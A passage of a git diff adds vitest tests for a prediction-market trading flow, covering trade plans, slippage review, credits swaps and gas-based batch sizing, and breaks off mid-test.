plans[OPTIONS[0]!.childMarket.toLowerCase()]!; + const sell = requests.find((request) => request.tokenIn === OPTIONS[0]!.upToken)!; + expect(sell.heldOut).toBe(plan.sells[0]!.underlyingOut); + const buy = requests.find((request) => request.tokenOut === OPTIONS[0]!.downToken)!; + expect(buy.heldOut).toBeGreaterThan(0n); + expect(buy.heldOut!).toBeLessThanOrEqual(plan.buys[0]!.outcomeOut); + }); + + it("is built when a quote pays more than shown", async () => { + const plans = await shownPlans(); + + const built = await build({ + reader: fakeReader({ state: shownState }), + quoter: poolQuoter(OPTIONS, movedState("down", WAD / 8n)), + heldTo: () => ({ plans }), + }); + + expect(built).toMatchObject({ to: ctx().executor }); + }); +}); + +describe("a predict batch held to a plan whose buy sits just above the dust floor", () => { + const only = OPTIONS[0]!; + /** The least split whose plan still buys, so the buy is a little over `MIN_LEG_WEI`. */ + const split = (() => { + for (let amount = MIN_LEG_WEI; amount < 2n * MIN_LEG_WEI; amount += 10n ** 12n) { + const plan = previewTrades( + { + pools: shownState().pools, + targetPriceWad: only.targetPriceWad, + held: shownState().held, + splitAmount: amount, + }, + SLIPPAGE_BPS, + )!; + if (plan.buys.length === 1) return amount + 10n ** 13n; + } + throw new Error("No split buys."); + })(); + const small = snapshot({ options: [only], deposit: split, collateralIn: split }); + const buildSmall = async (deps: PredictDeps) => { + const step = planPredict(small, deps).find((each) => each.id === STEP_ID.predict(1))!; + return Promise.resolve(step.build(ctx(), small)).catch((caught: unknown) => caught); + }; + + it("stops at moved when a sell quoted a little short leaves too little for the buy shown", async () => { + const plans = ( + (await buildSmall({ + reader: fakeReader({ state: shownState }), + quoter: poolQuoter([only], shownState), + heldTo: () => ({ plans: {} }), + })) as PlansMovedError + ).moved.plans; + // UP moves half a percent between the build's read and its quotes: inside the tolerance, past the buy's margin + const moved = movedState("up", (WAD * 995n) / 1000n); + const reader = fakeReader({ state: (each) => (reader.asked.length > 1 ? moved(each) : shownState()) }); + const quoter: FakeQuoter = poolQuoter([only], moved); + + const error = await buildSmall({ reader, quoter, heldTo: () => ({ plans }) }); + + expect(error).toBeInstanceOf(PlansMovedError); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/plan.money.test.ts b/apps/web/src/features/predict/flow/__tests__/plan.money.test.ts new file mode 100644 index 00000000..cf2cc949 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/plan.money.test.ts @@ -0,0 +1,389 @@ +import { decodeFunctionData, encodeFunctionData } from "viem"; +import { describe, expect, it } from "vitest"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; + +import type { PreviewTrades } from "../../utils/plan"; +import { + MINT_RATE_MARGIN_BPS, + MOVED_TOLERANCE_BPS, + assertRoutes, + heldMoves, + planPredict, + PlansMovedError, + NoRouteError, + PredictConfigError, + previewCreditsSwap, + STEP_ID, + CreditsUnavailableError, + type PredictDeps, +} from "../plan"; +import type { HeldTo, OptionChainState } from "../types"; +import { + addresses, + chainState, + ctx, + fakeCreditsQuoter, + fakeQuoter, + fakeReader, + option, + snapshot, + WAD, +} from "./support/fakes"; + +const only = option(1); +const key = only.childMarket.toLowerCase(); +const sellState: OptionChainState = chainState({ + pools: { + up: { sqrtPriceX96: 2n ** 96n, liquidity: WAD, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + down: { sqrtPriceX96: 0n, liquidity: 0n, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + }, + held: { up: WAD, down: 0n, invalid: 0n }, +}); +const shown: PreviewTrades = { + split: 0n, + sells: [{ side: "up", amountIn: WAD, underlyingOut: WAD / 2n, fee: 0n, toTarget: false }], + merge: 0n, + buys: [], + from: WAD, + to: WAD / 4n, + feeValue: 0n, +}; +const snap = snapshot({ + deposit: 0n, + collateralIn: 0n, + slippage: { tradeBps: 3 * MOVED_TOLERANCE_BPS, creditsBps: 0 }, +}); +function build(deps: PredictDeps, run = snap, context = ctx()) { + return planPredict(run, deps) + .find((each) => each.id === STEP_ID.predict(1))! + .build(context, run); +} +const deps = (held?: HeldTo): PredictDeps => ({ + reader: fakeReader({ state: () => sellState }), + quoter: fakeQuoter(), + ...(held ? { heldTo: () => held } : {}), +}); + +describe("held money plans", () => { + it("reviews an amount move beyond the review tolerance but within swap slippage", async () => { + await expect( + build( + deps({ + plans: { + [key]: { + ...shown, + sells: [{ ...shown.sells[0]!, amountIn: ((10_000n + 2n * BigInt(MOVED_TOLERANCE_BPS)) * WAD) / 10_000n }], + }, + }, + }), + ), + ).rejects.toBeInstanceOf(PlansMovedError); + }); + it("reviews a quote shortfall beyond the review tolerance but within swap slippage", async () => { + const d = deps({ + plans: { [key]: shown }, + quotes: { [key]: { sells: [{ side: "up", amountIn: WAD, amountOut: WAD / 2n }], buys: [] } }, + }); + const quoter = fakeQuoter(); + d.quoter = { + quote: async (request) => ({ + ...(await quoter.quote(request)), + amountOut: ((WAD / 2n) * (10_000n - 2n * BigInt(MOVED_TOLERANCE_BPS))) / 10_000n, + }), + }; + await expect(build(d)).rejects.toBeInstanceOf(PlansMovedError); + }); + it("builds when held metadata has no option plans", async () => { + await expect(build(deps({}))).resolves.toMatchObject({ to: addresses.executor }); + }); + it("reviews a newly trading sell-only option", async () => { + await expect(build(deps({ plans: {} }))).rejects.toMatchObject({ moved: { markets: [only.childMarket] } }); + }); + it("matches the held sell rate by side", async () => { + const d = deps({ + plans: { [key]: shown }, + quotes: { + [key]: { + sells: [ + { side: "down", amountIn: WAD, amountOut: 9n * WAD }, + { side: "up", amountIn: WAD, amountOut: WAD / 2n }, + ], + buys: [], + }, + }, + }); + const quoter = fakeQuoter(); + d.quoter = quoter; + await expect(build(d)).rejects.toBeInstanceOf(PlansMovedError); + expect(quoter.requests[0]!.heldOut).toBe(WAD / 2n); + }); + it("builds without a held rate when the shown sell has no input", async () => { + const d = deps({ + plans: { [key]: shown }, + quotes: { [key]: { sells: [{ side: "up", amountIn: 0n, amountOut: 0n }], buys: [] } }, + }); + const quoter = fakeQuoter(); + d.quoter = quoter; + await expect(build(d)).resolves.toMatchObject({ to: addresses.executor }); + expect(quoter.requests[0]!.heldOut).toBeUndefined(); + }); + + it("reviews every unfunded batch without requiring a credits mint", async () => { + const options = [only, option(2)]; + const moved = await heldMoves(ctx(), { ...snap, options, optionsPerBatch: 1 }, deps({ plans: {} }), new Set()); + expect(moved?.markets).toEqual(options.map((each) => each.childMarket)); + }); + + it("reviews a newly trading buy-only option", async () => { + const reader = fakeReader({ + state: () => ({ + ...sellState, + held: { up: 0n, down: 0n, invalid: 0n }, + underlying: WAD, + pools: { ...sellState.pools, up: { ...sellState.pools.up, liquidity: 10n ** 30n, sqrtPriceX96: 2n ** 95n } }, + }), + }); + await expect( + build( + { reader, quoter: fakeQuoter(), heldTo: () => ({ plans: {} }) }, + { ...snap, options: [option(1, WAD / 2n)] }, + ), + ).rejects.toMatchObject({ moved: { markets: [only.childMarket] } }); + }); +}); + +describe("credits money boundaries", () => { + it("refuses credits preview without a configured route", async () => { + await expect( + previewCreditsSwap(ctx({ credits: null }), WAD, 0, { reader: fakeReader(), creditsQuoter: fakeCreditsQuoter() }), + ).rejects.toBeInstanceOf(PredictConfigError); + }); + it("refuses a missing credits route before reading its manager", async () => { + const reader = fakeReader(); + reader.managerCollateral = async () => { + throw new Error("unexpected manager read"); + }; + await expect( + build( + { reader, quoter: fakeQuoter(), creditsQuoter: fakeCreditsQuoter() }, + snapshot({ creditsToSpend: WAD }), + ctx({ credits: null }), + ), + ).rejects.toBeInstanceOf(PredictConfigError); + }); + it("refuses encoded credits amounts different from the request", async () => { + const real = fakeCreditsQuoter(); + await expect( + previewCreditsSwap(ctx(), WAD, 0, { + reader: fakeReader(), + creditsQuoter: { + quote: async (request) => { + const quoted = await real.quote(request); + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: quoted.data }).args; + return { + ...quoted, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [{ ...params, amountIn: 2n * WAD }], + }), + }; + }, + }, + }), + ).rejects.toBeInstanceOf(CreditsUnavailableError); + }); + it("accepts the exact minimum rate with zero credits slippage", async () => { + const result = await previewCreditsSwap(ctx(), WAD, 0, { + reader: fakeReader(), + creditsQuoter: fakeCreditsQuoter({ lossBps: 2000n }), + }); + expect(result).toMatchObject({ quoted: WAD, floor: WAD }); + }); + it("accepts a manager holding exactly the credits spent", async () => { + await expect( + build( + { + reader: fakeReader({ manager: WAD }), + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter({ lossBps: 0n }), + }, + snapshot({ creditsToSpend: WAD }), + ), + ).resolves.toMatchObject({ to: addresses.executor }); + }); + it("accepts a quote exactly covering the held floor without option plans", async () => { + const credits = { + amount: WAD, + creditsBps: 0, + quoted: (5n * WAD) / 4n, + vaultValue: (5n * WAD) / 4n, + floor: (5n * WAD) / 4n, + loss: 0n, + minted: WAD - (WAD * MINT_RATE_MARGIN_BPS) / 10_000n, + }; + await expect( + build( + { + reader: fakeReader(), + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter({ lossBps: 0n }), + heldTo: () => ({ credits }), + }, + snapshot({ creditsToSpend: WAD, slippage: { tradeBps: 100, creditsBps: 0 } }), + ), + ).resolves.toMatchObject({ to: addresses.executor }); + }); + it("carries the credits mint exactly once into every review batch", async () => { + const options = [option(1), option(2)]; + const run = snapshot({ + options, + optionsPerBatch: 1, + creditsToSpend: WAD, + collateralIn: WAD, + slippage: { tradeBps: 100, creditsBps: 0 }, + }); + const d = { + reader: fakeReader(), + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter({ lossBps: 0n }), + heldTo: () => ({ plans: {} }), + }; + const moved = await heldMoves(ctx(), run, d, new Set()); + expect(moved).toMatchObject({ + plans: { + [options[0]!.childMarket.toLowerCase()]: { split: 2n * WAD - (WAD * MINT_RATE_MARGIN_BPS) / 10_000n }, + [options[1]!.childMarket.toLowerCase()]: { split: 2n * WAD - (WAD * MINT_RATE_MARGIN_BPS) / 10_000n }, + }, + }); + }); + it("carries the credits mint exactly once into every preflight batch", async () => { + const options = [option(1), option(2)]; + const run = snapshot({ + options, + optionsPerBatch: 1, + creditsToSpend: WAD, + collateralIn: WAD, + slippage: { tradeBps: 100, creditsBps: 0 }, + }); + const d = { + reader: fakeReader(), + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter({ lossBps: 0n }), + heldTo: () => ({ plans: {} }), + }; + const moved = await assertRoutes(ctx(), run, d).catch((error: unknown) => { + if (!(error instanceof PlansMovedError)) throw error; + return error.moved; + }); + expect(moved).toMatchObject({ + plans: { + [options[0]!.childMarket.toLowerCase()]: { split: 2n * WAD - (WAD * MINT_RATE_MARGIN_BPS) / 10_000n }, + [options[1]!.childMarket.toLowerCase()]: { split: 2n * WAD - (WAD * MINT_RATE_MARGIN_BPS) / 10_000n }, + }, + }); + }); + + it("reviews credits whose quoted output no longer covers the held floor", async () => { + const credits = { + amount: WAD, + creditsBps: 0, + quoted: (126n * WAD) / 100n, + vaultValue: (5n * WAD) / 4n, + floor: (126n * WAD) / 100n, + loss: 0n, + minted: WAD, + }; + await expect( + build( + { + reader: fakeReader(), + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter({ lossBps: 0n }), + heldTo: () => ({ credits }), + }, + snapshot({ creditsToSpend: WAD, slippage: { tradeBps: 100, creditsBps: 0 } }), + ), + ).rejects.toMatchObject({ moved: { credits: { quoted: (5n * WAD) / 4n } } }); + }); +}); + +describe("review of options without executable amounts", () => { + it.each(["empty", "unpriced", "missing"])("does not offer a moved plan for an %s option", async (kind) => { + const state = { + ...sellState, + held: { up: 0n, down: 0n, invalid: 0n }, + pools: { ...sellState.pools, up: { ...sellState.pools.up, sqrtPriceX96: kind === "unpriced" ? 0n : 2n ** 95n } }, + }; + const reader = fakeReader({ state: () => state }); + if (kind === "missing") reader.optionStates = async () => []; + await expect( + heldMoves(ctx(), snap, { reader, quoter: fakeQuoter(), heldTo: () => ({ plans: {} }) }, new Set()), + ).resolves.toBeUndefined(); + }); + it("reports no route for dust below the minimum away from the estimate", async () => { + const reader = fakeReader({ state: () => ({ ...sellState, held: { up: 1n, down: 0n, invalid: 0n } }) }); + await expect(build({ reader, quoter: fakeQuoter(), heldTo: () => ({ plans: {} }) })).rejects.toBeInstanceOf( + NoRouteError, + ); + }); + it("reports no route when the reader supplies no option state", async () => { + const reader = fakeReader(); + reader.optionStates = async () => []; + await expect(build({ reader, quoter: fakeQuoter(), heldTo: () => ({ plans: {} }) })).rejects.toBeInstanceOf( + NoRouteError, + ); + }); + it("reports the independently moved option alongside a short quote", async () => { + const options = [only, option(2)]; + let quoted = false; + const reader = fakeReader({ + state: (each) => + quoted && each === options[1] + ? { ...sellState, pools: { ...sellState.pools, up: { ...sellState.pools.up, sqrtPriceX96: 2n ** 95n } } } + : sellState, + }); + const quoter = fakeQuoter(); + const d: PredictDeps = { + reader, + quoter: { + quote: async (request) => { + quoted = true; + return { + ...(await quoter.quote(request)), + amountOut: request.tokenIn === only.upToken ? 1n : WAD / 2n, + }; + }, + }, + heldTo: () => ({ plans: { [key]: shown, [options[1]!.childMarket.toLowerCase()]: shown } }), + }; + await expect(build(d, { ...snap, options })).rejects.toMatchObject({ + moved: { markets: [only.childMarket, options[1]!.childMarket] }, + }); + }); + + it("does not call mixed at-estimate and illiquid options all at their estimates", async () => { + const options = [only, option(2)]; + const reader = fakeReader({ + state: (each) => ({ + ...sellState, + held: { up: 0n, down: 0n, invalid: 0n }, + pools: { + ...sellState.pools, + up: { ...sellState.pools.up, sqrtPriceX96: each === only ? 2n ** 95n : 2n ** 96n, liquidity: 0n }, + }, + }), + }); + await expect(build({ reader, quoter: fakeQuoter() }, { ...snap, options })).rejects.toBeInstanceOf(NoRouteError); + }); + + it("reports no route for an unpriced held option", async () => { + const reader = fakeReader({ + state: () => ({ ...sellState, pools: { ...sellState.pools, up: { ...sellState.pools.up, sqrtPriceX96: 0n } } }), + }); + await expect(build({ reader, quoter: fakeQuoter(), heldTo: () => ({ plans: {} }) })).rejects.toBeInstanceOf( + NoRouteError, + ); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/plan.test.ts b/apps/web/src/features/predict/flow/__tests__/plan.test.ts new file mode 100644 index 00000000..9e09f036 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/plan.test.ts @@ -0,0 +1,633 @@ +import { decodeFunctionData, erc20Abi, type Address, type Hex, type TransactionReceipt } from "viem"; +import { describe, expect, it } from "vitest"; + +import { lensQuoterOn, nodeAnswers } from "@/lib/swap/__tests__/support/lensNode"; +import { withdrawTx } from "@/lib/trade-executor/funding"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { MAX_SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { buyBudgetShareBps, LEG_HEADROOM_BPS } from "../../utils/plan"; +import { + AtEstimatesError, + createPredictHooks, + batchGas, + BATCH_GAS_SHARE_BPS, + MAX_TX_GAS, + optionsPerBatch, + planPredict, + PredictConfigError, + QuoteFailedError, + sizeBatches, + STEP_ID, + TxPendingError, + type PredictDeps, +} from "../plan"; +import type { LandedTx, PredictOption, PredictSnapshot } from "../types"; +import { + addresses, + AT, + chainState, + ctx, + DEEP, + fakeCreditsQuoter, + fakeQuoter, + fakeReader, + landedTx, + mintLog, + option, + quoterFor, + snapshot, + WAD, +} from "./support/fakes"; + +const deps = (overrides: Partial = {}): PredictDeps => ({ + reader: fakeReader(), + quoter: fakeQuoter(), + ...overrides, +}); + +/** The calls a `batchExecute` carries. */ +function innerCalls(data: Hex): readonly { to: Address; data: Hex }[] { + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data }); + if (decoded.functionName !== "batchExecute") throw new Error(`Expected batchExecute, got ${decoded.functionName}`); + + return decoded.args[0]; +} + +/** Each of them as `:`, so a test can read the batch as a sequence. */ +function batchShape(data: Hex): string[] { + return innerCalls(data).map((call) => { + if (call.to === addresses.swapRouter) return `${call.to}:swap`; + const abi = call.data.startsWith("0x095ea7b3") ? erc20Abi : gnosisRouterAbi; + return `${call.to}:${decodeFunctionData({ abi, data: call.data }).functionName}`; + }); +} + +describe("planPredict", () => { + it("sets up the wallet, adds the money, then predicts", () => { + const steps = planPredict(snapshot(), deps()); + + expect(steps.map((step) => step.id)).toEqual([STEP_ID.createExecutor, STEP_ID.deposit, STEP_ID.predict(1)]); + }); + + it("leaves out the deposit when the visitor is spending what is already there", () => { + const steps = planPredict(snapshot({ deposit: 0n, collateralIn: 0n }), deps()); + + expect(steps.map((step) => step.id)).toEqual([STEP_ID.createExecutor, STEP_ID.predict(1)]); + }); + + it("refuses a run with no estimates on it", () => { + expect(() => planPredict(snapshot({ options: [] }), deps())).toThrow(/no estimates/i); + }); + + it("asks the chain whether the wallet already exists rather than assuming", async () => { + const steps = planPredict(snapshot(), deps({ reader: fakeReader({ deployed: true }) })); + const create = steps.find((step) => step.id === STEP_ID.createExecutor)!; + + await expect(create.canSkip!(ctx(), snapshot())).resolves.toBe(true); + }); + + it("gives each batch of options its own transaction", () => { + const options = Array.from({ length: 5 }, (_, index) => option(index + 1)); + + const steps = planPredict(snapshot({ options, optionsPerBatch: 2 }), deps()); + + expect(steps.map((step) => step.id)).toEqual([ + STEP_ID.createExecutor, + STEP_ID.deposit, + STEP_ID.predict(1), + STEP_ID.predict(2), + STEP_ID.predict(3), + ]); + }); + + it("puts every option in one transaction up to the batch size", () => { + const options = Array.from({ length: 4 }, (_, index) => option(index + 1)); + + const steps = planPredict(snapshot({ options, optionsPerBatch: 4 }), deps()); + + expect(steps.filter((step) => step.id.startsWith("predict-"))).toHaveLength(1); + }); + + it("refuses a batch size below one option", () => { + for (const size of [0, -1, 1.5]) { + expect(() => planPredict(snapshot({ optionsPerBatch: size }), deps())).toThrow(PredictConfigError); + } + }); +}); + +describe("optionsPerBatch", () => { + const budget = (gasLimit: bigint) => (gasLimit * BATCH_GAS_SHARE_BPS) / 10_000n; + + it("fits as many options as the block-gas budget holds, the credits leg counted", () => { + const gnosis = 17_000_000n; + for (const credits of [false, true]) { + const size = optionsPerBatch(gnosis, credits); + expect(batchGas(size, credits)).toBeLessThanOrEqual(budget(gnosis)); + expect(batchGas(size + 1, credits)).toBeGreaterThan(budget(gnosis)); + } + }); + + it("grows with the block gas limit", () => { + expect(optionsPerBatch(60_000_000n, false)).toBeGreaterThan(optionsPerBatch(17_000_000n, false)); + }); + + it("never sizes a batch past one transaction's gas cap, however large the block", () => { + for (const credits of [false, true]) { + const size = optionsPerBatch(120_000_000n, credits); + expect(batchGas(size, credits)).toBeLessThanOrEqual(MAX_TX_GAS); + expect(batchGas(size + 1, credits)).toBeGreaterThan(MAX_TX_GAS); + } + }); + + it("still sends one option at a time where the budget holds none", () => { + expect(optionsPerBatch(1_000_000n, true)).toBe(1); + }); +}); + +describe("sizeBatches", () => { + const GNOSIS = 17_000_000n; + const share = (gasLimit: bigint) => (gasLimit * BATCH_GAS_SHARE_BPS) / 10_000n; + /** A run whose money is already in a deployed trade wallet, so its first batch can be estimated as it stands. */ + const funded = (count: number) => + snapshot({ + options: Array.from({ length: count }, (_, index) => option(index + 1)), + deposit: 0n, + collateralBefore: WAD, + }); + /** A node that prices each option the first batch trades at `perOption`, over a 0.7M base. */ + const node = (perOption: bigint) => { + const reader = fakeReader({ + deployed: true, + estimateGas: () => Promise.resolve(700_000n + BigInt(reader.asked.at(-1)!.options.length) * perOption), + }); + return reader; + }; + + it("keeps the budget's count where the live estimate of the first batch is lower", async () => { + const reader = node(1_000_000n); + + const size = await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS); + + expect(size).toBe(optionsPerBatch(GNOSIS, false)); + expect(reader.estimated).toHaveLength(1); + expect(reader.estimated[0]).toMatchObject({ from: addresses.owner, to: addresses.executor }); + }); + + it("shrinks the batches until the live estimate of the first fits the budget share, where it is the higher", async () => { + const reader = node(2_000_000n); + + const size = await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS); + + // the live figure, 0.7M and 2M an option, binds before the budget's 1.5M an option + expect(700_000n + BigInt(size) * 2_000_000n).toBeLessThanOrEqual(share(GNOSIS)); + expect(700_000n + BigInt(size + 1) * 2_000_000n).toBeGreaterThan(share(GNOSIS)); + expect(size).toBeLessThan(optionsPerBatch(GNOSIS, false)); + }); + + /** A node whose estimate of the first batch is `live` of its option count. */ + const counting = (live: (count: number) => bigint) => { + const reader = fakeReader({ + deployed: true, + estimateGas: () => { + return Promise.resolve(live(reader.asked.at(-1)!.options.length)); + }, + }); + return { reader }; + }; + + it("settles only on a count the live estimate shows fits, where the first batch's fixed cost dominates", async () => { + // 7.5M whatever the count and 0.6M an option: cutting in proportion to the gas overshoots + const { reader } = counting((count) => 7_500_000n + BigInt(count) * 600_000n); + + const size = await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS); + + const room = share(GNOSIS) < MAX_TX_GAS ? share(GNOSIS) : MAX_TX_GAS; + expect(size).toBe(Math.max(1, Math.min(optionsPerBatch(GNOSIS, false), Number((room - 7_500_000n) / 600_000n)))); + }); + + it("lands on the largest count that fits where gas is linear in the count", async () => { + const { reader } = counting((count) => 3_000_000n + BigInt(count) * 1_600_000n); + + const size = await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS); + + const room = share(GNOSIS) < MAX_TX_GAS ? share(GNOSIS) : MAX_TX_GAS; + expect(size).toBe(Math.max(1, Math.min(optionsPerBatch(GNOSIS, false), Number((room - 3_000_000n) / 1_600_000n)))); + }); + + it("sends one option a batch where three estimates find no count that fits", async () => { + const { reader } = counting(() => share(GNOSIS) + 100_000n); + + expect(await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS)).toBe(1); + }); + + it("keeps multiple options when smaller batches avoid a sharp gas increase", async () => { + const blockGasLimit = 40_000_000n; + const initial = optionsPerBatch(blockGasLimit, false); + const room = share(blockGasLimit) < MAX_TX_GAS ? share(blockGasLimit) : MAX_TX_GAS; + const live = (count: number) => (count > Math.floor(initial / 2) ? (room * 3n) / 2n : room / 2n); + const { reader } = counting(live); + + const size = await sizeBatches(ctx(), funded(initial), deps({ reader }), blockGasLimit); + + expect(size).toBeGreaterThan(1); + expect(size).toBeLessThanOrEqual(initial); + expect(live(size)).toBeLessThanOrEqual(room); + }); + + it("sends one option at a time where even one runs over", async () => { + const reader = node(20_000_000n); + + expect(await sizeBatches(ctx(), funded(4), deps({ reader }), GNOSIS)).toBe(1); + }); + + it("falls back to the budget where the node cannot estimate the batch", async () => { + const reader = fakeReader({ deployed: true }); + + expect(await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS)).toBe(optionsPerBatch(GNOSIS, false)); + expect(reader.estimated).toHaveLength(1); + }); + + it("fits the largest batch when fixed gas requires shrinking by several options", async () => { + const blockGasLimit = 40_000_000n; + const fixedGas = 12_000_000n; + const perOption = 1_000_000n; + const room = share(blockGasLimit) < MAX_TX_GAS ? share(blockGasLimit) : MAX_TX_GAS; + const expected = Math.max( + 1, + Math.min(optionsPerBatch(blockGasLimit, false), Number((room - fixedGas) / perOption)), + ); + const { reader } = counting((count) => fixedGas + BigInt(count) * perOption); + + expect(await sizeBatches(ctx(), funded(12), deps({ reader }), blockGasLimit)).toBe(expected); + }); + + it("keeps a batch whose gas exactly fills its block share", async () => { + const reader = fakeReader({ + deployed: true, + estimateGas: async () => (17_000_000n * BATCH_GAS_SHARE_BPS) / 10_000n, + }); + + expect(await sizeBatches(ctx(), funded(12), deps({ reader }), GNOSIS)).toBe(optionsPerBatch(GNOSIS, false)); + }); + + it.each([ + ["a deposit comes first", { deposit: WAD }, true], + ["credits move in first", { creditsFromEoa: WAD, creditsToSpend: WAD }, true], + ["the trade wallet is not deployed yet", {}, false], + ] as const)("keeps the budget without asking the node where %s", async (_, overrides, deployed) => { + const reader = fakeReader({ deployed, estimateGas: () => Promise.resolve(100_000_000n) }); + const request = { ...funded(12), ...overrides }; + + const size = await sizeBatches(ctx(), request, deps({ reader, creditsQuoter: fakeCreditsQuoter() }), GNOSIS); + + expect(size).toBe(optionsPerBatch(GNOSIS, request.creditsToSpend > 0n)); + expect(reader.estimated).toHaveLength(0); + }); +}); + +describe("the predict step", () => { + const buildPredict = async ( + snap = snapshot(), + overrides: Partial = {}, + batch = 1, + optionsPerBatch?: number, + ) => { + const resolved = deps(overrides); + const steps = planPredict(optionsPerBatch === undefined ? snap : { ...snap, optionsPerBatch }, resolved); + const step = steps.find((each) => each.id === STEP_ID.predict(batch))!; + return { tx: await step.build(ctx(), snap), deps: resolved }; + }; + + it("splits the collateral, sells, merges the pairs left over, then buys", async () => { + const one = option(1); + const { tx } = await buildPredict(); + + expect(batchShape(tx.data!)).toEqual([ + `${addresses.collateral}:approve`, + `${addresses.router}:splitPosition`, + `${one.underlying}:approve`, + `${addresses.router}:splitPosition`, + `${one.upToken}:approve`, + `${addresses.swapRouter}:swap`, + `${one.upToken}:approve`, + `${one.downToken}:approve`, + `${one.upToken}:approve`, + `${one.invalidToken}:approve`, + `${addresses.router}:mergePositions`, + `${one.underlying}:approve`, + `${addresses.swapRouter}:swap`, + `${one.underlying}:approve`, + ]); + }); + + it("splits only what the visitor put in, at the session's parent", async () => { + const { tx } = await buildPredict(snapshot({ collateralIn: WAD * 3n })); + const calls = innerCalls(tx.data!); + + expect(decodeFunctionData({ abi: gnosisRouterAbi, data: calls[1]!.data }).args).toEqual([ + addresses.collateral, + addresses.parentMarket, + WAD * 3n, + ]); + }); + + it("splits collateral once, in the first batch only", async () => { + const options = [option(1), option(2)]; + // the first batch's parent split already gave every option its underlying + const reader = fakeReader({ state: () => chainState({ underlying: WAD }) }); + + const { tx } = await buildPredict(snapshot({ options }), { reader }, 2, 1); + + expect(batchShape(tx.data!).filter((call) => call.endsWith(":splitPosition"))).toEqual([ + `${addresses.router}:splitPosition`, + ]); + }); + + it("quotes the sell before it sizes the buy, since the sell is what pays for it", async () => { + const { deps: used } = await buildPredict(); + const quoter = used.quoter as ReturnType; + const one = option(1); + + expect(quoter.requests.map((request) => [request.tokenIn, request.tokenOut])).toEqual([ + [one.upToken, one.underlying], + [one.underlying, one.downToken], + ]); + }); + + it("quotes with the executor as the recipient, never the owner", async () => { + const { deps: used } = await buildPredict(); + const quoter = used.quoter as ReturnType; + + expect(quoter.requests.every((request) => request.recipient === addresses.executor)).toBe(true); + }); + + it("reads the chain for only the options in its own batch", async () => { + const options = [option(1), option(2)]; + const reader = fakeReader({ state: () => chainState({ underlying: WAD }) }); + + await buildPredict(snapshot({ options }), { reader }, 2, 1); + + expect(reader.asked.at(-1)!.options.map((each) => each.childMarket)).toEqual([options[1]!.childMarket]); + }); + + it("leaves out an option nothing will route, and says which", async () => { + const options = [option(1), option(2)]; + const leftOut: PredictOption[] = []; + const refuse = (request: { tokenIn: Address }) => + request.tokenIn === options[0]!.upToken || request.tokenIn === options[0]!.underlying; + + const { tx } = await buildPredict(snapshot({ options }), { + quoter: fakeQuoter({ refuse }), + onLeftOut: (each) => leftOut.push(each), + }); + + expect(leftOut.map((each) => each.childMarket)).toEqual([options[0]!.childMarket]); + expect(batchShape(tx.data!).some((call) => call.startsWith(options[1]!.underlying))).toBe(true); + }); + + it("refuses the batch, leaving no option out, when one option's quote cannot be had", async () => { + const options = [option(1), option(2)]; + const leftOut: PredictOption[] = []; + const quoter = quoterFor(options[0]!, lensQuoterOn(nodeAnswers.unreachable), fakeQuoter()); + + await expect( + buildPredict(snapshot({ options }), { quoter, onLeftOut: (each) => leftOut.push(each) }), + ).rejects.toBeInstanceOf(QuoteFailedError); + expect(leftOut).toEqual([]); + }); + + it("sizes the buy from what the sell was quoted to pay, not from the merge alone", async () => { + const { deps: used } = await buildPredict(); + const quoter = used.quoter as ReturnType; + + // the sell offers 0.5 of UP plus headroom, quoted at half that, and the rest of the pairs merge back + const sold = ((WAD / 2n) * (10_000n + LEG_HEADROOM_BPS)) / 10_000n; + expect(quoter.requests[1]!.amount).toBe(((sold / 2n + WAD - sold) * buyBudgetShareBps(100)) / 10_000n); + expect(quoter.requests.map((request) => request.slippageBps)).toEqual([100, 100]); + }); + + it("quotes and sizes the buy with the same slippage setting", async () => { + const { deps: used } = await buildPredict(snapshot({ slippage: { tradeBps: 300, creditsBps: 20 } })); + const quoter = used.quoter as ReturnType; + + const sold = ((WAD / 2n) * (10_000n + LEG_HEADROOM_BPS)) / 10_000n; + expect(quoter.requests[1]!.amount).toBe(((sold / 2n + WAD - sold) * buyBudgetShareBps(300)) / 10_000n); + expect(quoter.requests.map((request) => request.slippageBps)).toEqual([300, 300]); + }); + + it("refuses a slippage setting that leaves the buys nothing to spend, or none at all", () => { + for (const tradeBps of [-1, MAX_SLIPPAGE_BPS + 1, Number.NaN]) { + expect(() => planPredict(snapshot({ slippage: { tradeBps, creditsBps: 20 } }), deps())).toThrow( + PredictConfigError, + ); + } + for (const creditsBps of [-1, MAX_SLIPPAGE_BPS + 1]) { + expect(() => planPredict(snapshot({ slippage: { tradeBps: 100, creditsBps } }), deps())).toThrow( + PredictConfigError, + ); + } + expect(() => + planPredict(snapshot({ slippage: { tradeBps: MAX_SLIPPAGE_BPS, creditsBps: 0 } }), deps()), + ).not.toThrow(); + }); + + it("says a batch whose only option the market already agrees with has nothing to trade", async () => { + const leftOut: PredictOption[] = []; + // UP sits exactly where the estimate puts it, and DOWN's pool never priced + const reader = fakeReader({ + state: () => + chainState({ + pools: { + up: { sqrtPriceX96: AT["0.25"], liquidity: DEEP, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + down: { sqrtPriceX96: 0n, liquidity: 0n, tick: 0, fee: 0n, ticks: [], 